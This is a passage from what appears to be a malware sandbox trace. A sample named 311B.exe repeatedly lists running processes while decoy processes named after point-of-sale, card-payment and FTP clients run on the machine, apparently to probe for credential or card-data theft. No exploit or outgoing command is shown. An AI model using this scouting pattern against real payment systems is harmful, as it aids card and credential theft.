cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0222.648] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0222.650] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0222.652] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0222.653] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0222.655] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0222.656] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0222.658] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0222.660] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0222.661] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0222.663] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0222.664] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0222.666] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0222.667] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0222.669] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0222.671] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0222.672] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0222.674] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0222.676] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0222.677] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0222.679] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0222.681] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0222.682] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0222.684] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0222.685] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0222.687] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0222.688] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 0 [0222.690] CloseHandle (hObject=0x15f0) returned 1 [0222.690] Sleep (dwMilliseconds=0x64) [0222.740] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x15f0 [0222.751] Process32First (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0222.752] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0222.754] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0222.755] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0222.757] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0222.758] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0222.760] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0222.761] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0222.762] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0222.764] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.765] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.766] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0222.768] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.769] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.771] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.772] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.773] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.775] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.776] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.777] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0222.779] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0222.780] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0222.781] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.783] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0222.837] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0222.838] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0222.840] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0222.841] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.843] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0222.844] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0222.845] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0222.847] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0222.849] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0222.851] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0222.852] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0222.854] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0222.856] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0222.857] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0222.859] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0222.861] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0222.862] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0222.864] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0222.865] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0222.867] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0222.869] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0222.871] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0222.872] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0222.873] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0222.875] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0222.876] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0222.926] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0222.929] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0222.930] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0222.932] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0222.934] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0222.935] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0222.937] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0222.938] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | 